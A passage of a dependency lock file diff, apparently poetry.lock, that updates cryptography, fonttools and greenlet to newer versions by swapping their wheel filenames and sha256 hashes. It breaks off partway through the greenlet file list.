"cryptography-41.0.4-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:37480760ae08065437e6573d14be973112c9e6dcaf5f11d00147ee74f37a3829"}, - {file = "cryptography-41.0.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b5f4dfe950ff0479f1f00eda09c18798d4f49b98f4e2006d644b3301682ebdca"}, - {file = "cryptography-41.0.4-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7e53db173370dea832190870e975a1e09c86a879b613948f09eb49324218c14d"}, - {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5b72205a360f3b6176485a333256b9bcd48700fc755fef51c8e7e67c4b63e3ac"}, - {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:93530900d14c37a46ce3d6c9e6fd35dbe5f5601bf6b3a5c325c7bffc030344d9"}, - {file = "cryptography-41.0.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efc8ad4e6fc4f1752ebfb58aefece8b4e3c4cae940b0994d43649bdfce8d0d4f"}, - {file = "cryptography-41.0.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c3391bd8e6de35f6f1140e50aaeb3e2b3d6a9012536ca23ab0d9c35ec18c8a91"}, - {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:0d9409894f495d465fe6fda92cb70e8323e9648af912d5b9141d616df40a87b8"}, - {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8ac4f9ead4bbd0bc8ab2d318f97d85147167a488be0e08814a37eb2f439d5cf6"}, - {file = "cryptography-41.0.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:047c4603aeb4bbd8db2756e38f5b8bd7e94318c047cfe4efeb5d715e08b49311"}, - {file = "cryptography-41.0.4.tar.gz", hash = "sha256:7febc3094125fc126a7f6fb1f420d0da639f3f32cb15c8ff0dc3997c4549f51a"}, + {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:da6a0ff8f1016ccc7477e6339e1d50ce5f59b88905585f77193ebd5068f1e797"}, + {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:b948e09fe5fb18517d99994184854ebd50b57248736fd4c720ad540560174ec5"}, + {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d38e6031e113b7421db1de0c1b1f7739564a88f1684c6b89234fbf6c11b75147"}, + {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e270c04f4d9b5671ebcc792b3ba5d4488bf7c42c3c241a3748e2599776f29696"}, + {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ec3b055ff8f1dce8e6ef28f626e0972981475173d7973d63f271b29c8a2897da"}, + {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7d208c21e47940369accfc9e85f0de7693d9a5d843c2509b3846b2db170dfd20"}, + {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8254962e6ba1f4d2090c44daf50a547cd5f0bf446dc658a8e5f8156cae0d8548"}, + {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a48e74dad1fb349f3dc1d449ed88e0017d792997a7ad2ec9587ed17405667e6d"}, + {file = "cryptography-41.0.5-cp37-abi3-win32.whl", hash = "sha256:d3977f0e276f6f5bf245c403156673db103283266601405376f075c849a0b936"}, + {file = "cryptography-41.0.5-cp37-abi3-win_amd64.whl", hash = "sha256:73801ac9736741f220e20435f84ecec75ed70eda90f781a148f1bad546963d81"}, + {file = "cryptography-41.0.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3be3ca726e1572517d2bef99a818378bbcf7d7799d5372a46c79c29eb8d166c1"}, + {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e886098619d3815e0ad5790c973afeee2c0e6e04b4da90b88e6bd06e2a0b1b72"}, + {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:573eb7128cbca75f9157dcde974781209463ce56b5804983e11a1c462f0f4e88"}, + {file = "cryptography-41.0.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0c327cac00f082013c7c9fb6c46b7cc9fa3c288ca702c74773968173bda421bf"}, + {file = "cryptography-41.0.5-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:227ec057cd32a41c6651701abc0328135e472ed450f47c2766f23267b792a88e"}, + {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:22892cc830d8b2c89ea60148227631bb96a7da0c1b722f2aac8824b1b7c0b6b8"}, + {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:5a70187954ba7292c7876734183e810b728b4f3965fbe571421cb2434d279179"}, + {file = "cryptography-41.0.5-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:88417bff20162f635f24f849ab182b092697922088b477a7abd6664ddd82291d"}, + {file = "cryptography-41.0.5-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c707f7afd813478e2019ae32a7c49cd932dd60ab2d2a93e796f68236b7e1fbf1"}, + {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:580afc7b7216deeb87a098ef0674d6ee34ab55993140838b14c9b83312b37b86"}, + {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fba1e91467c65fe64a82c689dc6cf58151158993b13eb7a7f3f4b7f395636723"}, + {file = "cryptography-41.0.5-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:0d2a6a598847c46e3e321a7aef8af1436f11c27f1254933746304ff014664d84"}, + {file = "cryptography-41.0.5.tar.gz", hash = "sha256:392cb88b597247177172e02da6b7a63deeff1937fa6fec3bbf902ebd75d97ec7"}, ] [package.dependencies] @@ -777,53 +777,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.43.1" +version = "4.44.0" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.43.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:bf11e2cca121df35e295bd34b309046c29476ee739753bc6bc9d5050de319273"}, - {file = "fonttools-4.43.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:10b3922875ffcba636674f406f9ab9a559564fdbaa253d66222019d569db869c"}, - {file = "fonttools-4.43.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f727c3e3d08fd25352ed76cc3cb61486f8ed3f46109edf39e5a60fc9fecf6ca"}, - {file = "fonttools-4.43.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad0b3f6342cfa14be996971ea2b28b125ad681c6277c4cd0fbdb50340220dfb6"}, - {file = "fonttools-4.43.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3b7ad05b2beeebafb86aa01982e9768d61c2232f16470f9d0d8e385798e37184"}, - {file = "fonttools-4.43.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4c54466f642d2116686268c3e5f35ebb10e49b0d48d41a847f0e171c785f7ac7"}, - {file = "fonttools-4.43.1-cp310-cp310-win32.whl", hash = "sha256:1e09da7e8519e336239fbd375156488a4c4945f11c4c5792ee086dd84f784d02"}, - {file = "fonttools-4.43.1-cp310-cp310-win_amd64.whl", hash = "sha256:1cf9e974f63b1080b1d2686180fc1fbfd3bfcfa3e1128695b5de337eb9075cef"}, - {file = "fonttools-4.43.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:5db46659cfe4e321158de74c6f71617e65dc92e54980086823a207f1c1c0e24b"}, - {file = "fonttools-4.43.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1952c89a45caceedf2ab2506d9a95756e12b235c7182a7a0fff4f5e52227204f"}, - {file = "fonttools-4.43.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c36da88422e0270fbc7fd959dc9749d31a958506c1d000e16703c2fce43e3d0"}, - {file = "fonttools-4.43.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7bbbf8174501285049e64d174e29f9578495e1b3b16c07c31910d55ad57683d8"}, - {file = "fonttools-4.43.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d4071bd1c183b8d0b368cc9ed3c07a0f6eb1bdfc4941c4c024c49a35429ac7cd"}, - {file = "fonttools-4.43.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d21099b411e2006d3c3e1f9aaf339e12037dbf7bf9337faf0e93ec915991f43b"}, - {file = "fonttools-4.43.1-cp311-cp311-win32.whl", hash = "sha256:b84a1c00f832feb9d0585ca8432fba104c819e42ff685fcce83537e2e7e91204"}, - {file = "fonttools-4.43.1-cp311-cp311-win_amd64.whl", hash = "sha256:9a2f0aa6ca7c9bc1058a9d0b35483d4216e0c1bbe3962bc62ce112749954c7b8"}, - {file = "fonttools-4.43.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:4d9740e3783c748521e77d3c397dc0662062c88fd93600a3c2087d3d627cd5e5"}, - {file = "fonttools-4.43.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:884ef38a5a2fd47b0c1291647b15f4e88b9de5338ffa24ee52c77d52b4dfd09c"}, - {file = "fonttools-4.43.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9648518ef687ba818db3fcc5d9aae27a369253ac09a81ed25c3867e8657a0680"}, - {file = "fonttools-4.43.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95e974d70238fc2be5f444fa91f6347191d0e914d5d8ae002c9aa189572cc215"}, - {file = "fonttools-4.43.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:34f713dad41aa21c637b4e04fe507c36b986a40f7179dcc86402237e2d39dcd3"}, - {file = "fonttools-4.43.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:360201d46165fc0753229afe785900bc9596ee6974833124f4e5e9f98d0f592b"}, - {file = "fonttools-4.43.1-cp312-cp312-win32.whl", hash = "sha256:bb6d2f8ef81ea076877d76acfb6f9534a9c5f31dc94ba70ad001267ac3a8e56f"}, - {file = "fonttools-4.43.1-cp312-cp312-win_amd64.whl", hash = "sha256:25d3da8a01442cbc1106490eddb6d31d7dffb38c1edbfabbcc8db371b3386d72"}, - {file = "fonttools-4.43.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8da417431bfc9885a505e86ba706f03f598c85f5a9c54f67d63e84b9948ce590"}, - {file = "fonttools-4.43.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:51669b60ee2a4ad6c7fc17539a43ffffc8ef69fd5dbed186a38a79c0ac1f5db7"}, - {file = "fonttools-4.43.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:748015d6f28f704e7d95cd3c808b483c5fb87fd3eefe172a9da54746ad56bfb6"}, - {file = "fonttools-4.43.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7a58eb5e736d7cf198eee94844b81c9573102ae5989ebcaa1d1a37acd04b33d"}, - {file = "fonttools-4.43.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6bb5ea9076e0e39defa2c325fc086593ae582088e91c0746bee7a5a197be3da0"}, - {file = "fonttools-4.43.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5f37e31291bf99a63328668bb83b0669f2688f329c4c0d80643acee6e63cd933"}, - {file = "fonttools-4.43.1-cp38-cp38-win32.whl", hash = "sha256:9c60ecfa62839f7184f741d0509b5c039d391c3aff71dc5bc57b87cc305cff3b"}, - {file = "fonttools-4.43.1-cp38-cp38-win_amd64.whl", hash = "sha256:fe9b1ec799b6086460a7480e0f55c447b1aca0a4eecc53e444f639e967348896"}, - {file = "fonttools-4.43.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:13a9a185259ed144def3682f74fdcf6596f2294e56fe62dfd2be736674500dba"}, - {file = "fonttools-4.43.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2adca1b46d69dce4a37eecc096fe01a65d81a2f5c13b25ad54d5430ae430b13"}, - {file = "fonttools-4.43.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18eefac1b247049a3a44bcd6e8c8fd8b97f3cad6f728173b5d81dced12d6c477"}, - {file = "fonttools-4.43.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2062542a7565091cea4cc14dd99feff473268b5b8afdee564f7067dd9fff5860"}, - {file = "fonttools-4.43.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:18a2477c62a728f4d6e88c45ee9ee0229405e7267d7d79ce1f5ce0f3e9f8ab86"}, - {file = "fonttools-4.43.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a7a06f8d95b7496e53af80d974d63516ffb263a468e614978f3899a6df52d4b3"}, - {file = "fonttools-4.43.1-cp39-cp39-win32.whl", hash = "sha256:10003ebd81fec0192c889e63a9c8c63f88c7d72ae0460b7ba0cd2a1db246e5ad"}, - {file = "fonttools-4.43.1-cp39-cp39-win_amd64.whl", hash = "sha256:e117a92b07407a061cde48158c03587ab97e74e7d73cb65e6aadb17af191162a"}, - {file = "fonttools-4.43.1-py3-none-any.whl", hash = "sha256:4f88cae635bfe4bbbdc29d479a297bb525a94889184bb69fa9560c2d4834ddb9"}, - {file = "fonttools-4.43.1.tar.gz", hash = "sha256:17dbc2eeafb38d5d0e865dcce16e313c58265a6d2d20081c435f84dc5a9d8212"}, + {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e1cd1c6bb097e774d68402499ff66185190baaa2629ae2f18515a2c50b93db0c"}, + {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9eab7f9837fdaa2a10a524fbcc2ec24bf60637c044b6e4a59c3f835b90f0fae"}, + {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0f412954275e594f7a51c16f3b3edd850acb0d842fefc33856b63a17e18499a5"}, + {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50d25893885e80a5955186791eed5579f1e75921751539cc1dc3ffd1160b48cf"}, + {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:22ea8aa7b3712450b42b044702bd3a64fd118006bad09a6f94bd1b227088492e"}, + {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df40daa6c03b98652ffe8110ae014fe695437f6e1cb5a07e16ea37f40e73ac86"}, + {file = "fonttools-4.44.0-cp310-cp310-win32.whl", hash = "sha256:bca49da868e8bde569ef36f0cc1b6de21d56bf9c3be185c503b629c19a185287"}, + {file = "fonttools-4.44.0-cp310-cp310-win_amd64.whl", hash = "sha256:dbac86d83d96099890e731cc2af97976ff2c98f4ba432fccde657c5653a32f1c"}, + {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e8ff7d19a6804bfd561cfcec9b4200dd1788e28f7de4be70189801530c47c1b3"}, + {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a8a1fa9a718de0bc026979c93e1e9b55c5efde60d76f91561fd713387573817d"}, + {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c05064f95aacdfc06f21e55096c964b2228d942b8675fa26995a2551f6329d2d"}, + {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31b38528f25bc662401e6ffae14b3eb7f1e820892fd80369a37155e3b636a2f4"}, + {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:05d7c4d2c95b9490e669f3cb83918799bf1c838619ac6d3bad9ea017cfc63f2e"}, + {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6999e80a125b0cd8e068d0210b63323f17338038c2ecd2e11b9209ec430fe7f2"}, + {file = "fonttools-4.44.0-cp311-cp311-win32.whl", hash = "sha256:a7aec7f5d14dfcd71fb3ebc299b3f000c21fdc4043079101777ed2042ba5b7c5"}, + {file = "fonttools-4.44.0-cp311-cp311-win_amd64.whl", hash = "sha256:518a945dbfe337744bfff31423c1430303b8813c5275dffb0f2577f0734a1189"}, + {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:59b6ad83cce067d10f4790c037a5904424f45bebb5e7be2eb2db90402f288267"}, + {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c2de1fb18198acd400c45ffe2aef5420c8d55fde903e91cba705596099550f3b"}, + {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84f308b7a8d28208d54315d11d35f9888d6d607673dd4d42d60b463682ee0400"}, + {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66bc6efd829382f7a7e6cf33c2fb32b13edc8a239eb15f32acbf197dce7a0165"}, + {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a8b99713d3a0d0e876b6aecfaada5e7dc9fe979fcd90ef9fa0ba1d9b9aed03f2"}, + {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:b63da598d9cbc52e2381f922da0e94d60c0429f92207bd3fb04d112fc82ea7cb"}, + {file = "fonttools-4.44.0-cp312-cp312-win32.whl", hash = "sha256:f611c97678604e302b725f71626edea113a5745a7fb557c958b39edb6add87d5"}, + {file = "fonttools-4.44.0-cp312-cp312-win_amd64.whl", hash = "sha256:58af428746fa73a2edcbf26aff33ac4ef3c11c8d75bb200eaea2f7e888d2de4e"}, + {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9ee8692e23028564c13d924004495f284df8ac016a19f17a87251210e1f1f928"}, + {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dab3d00d27b1a79ae4d4a240e8ceea8af0ff049fd45f05adb4f860d93744110d"}, + {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53526668beccdb3409c6055a4ffe50987a7f05af6436fa55d61f5e7bd450219"}, + {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3da036b016c975c2d8c69005bdc4d5d16266f948a7fab950244e0f58301996a"}, + {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b99fe8ef4093f672d00841569d2d05691e50334d79f4d9c15c1265d76d5580d2"}, + {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6d16d9634ff1e5cea2cf4a8cbda9026f766e4b5f30b48f8180f0e99133d3abfc"}, + {file = "fonttools-4.44.0-cp38-cp38-win32.whl", hash = "sha256:3d29509f6e05e8d725db59c2d8c076223d793e4e35773040be6632a0349f2f97"}, + {file = "fonttools-4.44.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4fa4f4bc8fd86579b8cdbe5e948f35d82c0eda0091c399d009b2a5a6b61c040"}, + {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c794de4086f06ae609b71ac944ec7deb09f34ecf73316fddc041087dd24bba39"}, + {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2db63941fee3122e31a21dd0f5b2138ce9906b661a85b63622421d3654a74ae2"}, + {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eb01c49c8aa035d5346f46630209923d4927ed15c2493db38d31da9f811eb70d"}, + {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46c79af80a835410874683b5779b6c1ec1d5a285e11c45b5193e79dd691eb111"}, + {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b6e6aa2d066f8dafd06d8d0799b4944b5d5a1f015dd52ac01bdf2895ebe169a0"}, + {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:63a3112f753baef8c6ac2f5f574bb9ac8001b86c8c0c0380039db47a7f512d20"}, + {file = "fonttools-4.44.0-cp39-cp39-win32.whl", hash = "sha256:54efed22b2799a85475e6840e907c402ba49892c614565dc770aa97a53621b2b"}, + {file = "fonttools-4.44.0-cp39-cp39-win_amd64.whl", hash = "sha256:2e91e19b583961979e2e5a701269d3cfc07418963bee717f8160b0a24332826b"}, + {file = "fonttools-4.44.0-py3-none-any.whl", hash = "sha256:b9beb0fa6ff3ea808ad4a6962d68ac0f140ddab080957b20d9e268e4d67fb335"}, + {file = "fonttools-4.44.0.tar.gz", hash = "sha256:4e90dd81b6e0d97ebfe52c0d12a17a9ef7f305d6bfbb93081265057d6092f252"}, ] [package.dependencies] @@ -832,7 +832,7 @@ brotlicffi = {version = ">=0.8.0", optional = true, markers = "platform_python_i zopfli = {version = ">=0.1.4", optional = true, markers = "extra == \"woff\""} [package.extras] -all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.0.0)", "xattr", "zopfli (>=0.1.4)"] +all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"] graphite = ["lz4 (>=1.7.4.2)"] interpolatable = ["munkres", "scipy"] lxml = ["lxml (>=4.0,<5)"] @@ -842,78 +842,73 @@ repacker = ["uharfbuzz (>=0.23.0)"] symfont = ["sympy"] type1 = ["xattr"] ufo = ["fs (>=2.2.0,<3)"] -unicode = ["unicodedata2 (>=15.0.0)"] +unicode = ["unicodedata2 (>=15.1.0)"] woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] [[package]] name = "greenlet" -version = "3.0.0" +version = "3.0.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" files = [ - {file = "greenlet-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e09dea87cc91aea5500262993cbd484b41edf8af74f976719dd83fe724644cd6"}, - {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a"}, - {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bdfaeecf8cc705d35d8e6de324bf58427d7eafb55f67050d8f28053a3d57118c"}, - {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6a68d670c8f89ff65c82b936275369e532772eebc027c3be68c6b87ad05ca695"}, - {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38ad562a104cd41e9d4644f46ea37167b93190c6d5e4048fcc4b80d34ecb278f"}, - {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02a807b2a58d5cdebb07050efe3d7deaf915468d112dfcf5e426d0564aa3aa4a"}, - {file = "greenlet-3.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b1660a15a446206c8545edc292ab5c48b91ff732f91b3d3b30d9a915d5ec4779"}, - {file = "greenlet-3.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:813720bd57e193391dfe26f4871186cf460848b83df7e23e6bef698a7624b4c9"}, - {file = "greenlet-3.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:aa15a2ec737cb609ed48902b45c5e4ff6044feb5dcdfcf6fa8482379190330d7"}, - {file = "greenlet-3.0.0-cp310-universal2-macosx_11_0_x86_64.whl", hash = "sha256:7709fd7bb02b31908dc8fd35bfd0a29fc24681d5cc9ac1d64ad07f8d2b7db62f"}, - {file = "greenlet-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:211ef8d174601b80e01436f4e6905aca341b15a566f35a10dd8d1e93f5dbb3b7"}, - {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6512592cc49b2c6d9b19fbaa0312124cd4c4c8a90d28473f86f92685cc5fef8e"}, - {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:871b0a8835f9e9d461b7fdaa1b57e3492dd45398e87324c047469ce2fc9f516c"}, - {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b505fcfc26f4148551826a96f7317e02c400665fa0883fe505d4fcaab1dabfdd"}, - {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:123910c58234a8d40eaab595bc56a5ae49bdd90122dde5bdc012c20595a94c14"}, - {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96d9ea57292f636ec851a9bb961a5cc0f9976900e16e5d5647f19aa36ba6366b"}, - {file = "greenlet-3.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0b72b802496cccbd9b31acea72b6f87e7771ccfd7f7927437d592e5c92ed703c"}, - {file = "greenlet-3.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:527cd90ba3d8d7ae7dceb06fda619895768a46a1b4e423bdb24c1969823b8362"}, - {file = "greenlet-3.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:37f60b3a42d8b5499be910d1267b24355c495064f271cfe74bf28b17b099133c"}, - {file = "greenlet-3.0.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:1482fba7fbed96ea7842b5a7fc11d61727e8be75a077e603e8ab49d24e234383"}, - {file = "greenlet-3.0.0-cp312-cp312-macosx_13_0_arm64.whl", hash = "sha256:be557119bf467d37a8099d91fbf11b2de5eb1fd5fc5b91598407574848dc910f"}, - {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73b2f1922a39d5d59cc0e597987300df3396b148a9bd10b76a058a2f2772fc04"}, - {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d1e22c22f7826096ad503e9bb681b05b8c1f5a8138469b255eb91f26a76634f2"}, - {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1d363666acc21d2c204dd8705c0e0457d7b2ee7a76cb16ffc099d6799744ac99"}, - {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:334ef6ed8337bd0b58bb0ae4f7f2dcc84c9f116e474bb4ec250a8bb9bd797a66"}, - {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6672fdde0fd1a60b44fb1751a7779c6db487e42b0cc65e7caa6aa686874e79fb"}, - {file = "greenlet-3.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:952256c2bc5b4ee8df8dfc54fc4de330970bf5d79253c863fb5e6761f00dda35"}, - {file = "greenlet-3.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:269d06fa0f9624455ce08ae0179430eea61085e3cf6457f05982b37fd2cefe17"}, - {file = "greenlet-3.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:9adbd8ecf097e34ada8efde9b6fec4dd2a903b1e98037adf72d12993a1c80b51"}, - {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6b5ce7f40f0e2f8b88c28e6691ca6806814157ff05e794cdd161be928550f4c"}, - {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = 